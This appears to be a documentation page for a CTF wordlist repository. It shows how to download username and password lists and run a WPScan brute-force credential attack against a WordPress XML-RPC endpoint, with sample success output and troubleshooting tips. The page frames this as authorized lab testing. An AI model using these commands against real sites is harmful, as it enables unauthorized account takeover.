Skip to main content
Only run these commands against a WordPress instance you own or have explicit written authorization to test. Unauthorized access attempts are illegal.

​
Prerequisites

Before you begin, make sure you have:
  • A lab WordPress installation with XML-RPC enabled (the xmlrpc.php endpoint must respond to requests)
  • WPScan installed (wpscan --version) or Hydra installed (hydra -h)
  • wget or git available on your system
You can confirm XML-RPC is active by visiting http://TARGET/lab/xmlrpc.php in a browser. A page that says “XML-RPC server accepts POST requests only” means the endpoint is live.

​
Steps

1

Download the wordlists

You can download the files individually with wget, or clone the full repository with git.
wget https://raw.githubusercontent.com/IzanLey2/wordlists-ctf-xmlrpc/main/users.txt
wget https://raw.githubusercontent.com/IzanLey2/wordlists-ctf-xmlrpc/main/passwords.txt
2

Verify the files

Confirm both files downloaded correctly and have the expected number of entries.
wc -l users.txt passwords.txt
You should see output similar to:
1200 users.txt
1497 passwords.txt
2697 total
If either count is significantly lower, the download may have been truncated. Re-download the affected file.
3

Run a credential test with WPScan

Replace TARGET with the hostname or IP address of your lab WordPress installation.
wpscan --url http://TARGET/lab/ \
  --passwords passwords.txt \
  --usernames users.txt \
  --password-attack xmlrpc \
  --max-threads 50
WPScan will enumerate the target and then begin the credential attack using the xmlrpc method. The --max-threads 50 flag controls concurrency — lower this value if the target becomes unresponsive.
4

Interpret the results

When WPScan finds a valid credential pair, it prints a line like:
[SUCCESS] - admin / password123
If no credentials are found after exhausting both wordlists, WPScan will report zero valid combinations. In a CTF context this usually means one of the following:
  • The target username is not in users.txt — try enumerating usernames first with --enumerate u
  • The password is not in passwords.txt — consider a larger password list
  • XML-RPC is not the correct attack vector for this challenge
WPScan also performs plugin and theme enumeration before the credential attack. The full output includes version disclosures and known vulnerabilities — useful context for a broader CTF exercise.

​
Next steps

WPScan guide

Detailed WPScan options including username enumeration, output formats, and API token usage.

Hydra guide

Use Hydra with the raw XML-RPC POST form for finer-grained control over the attack.

Build docs developers (and LLMs) love

Get started for freeTalk to us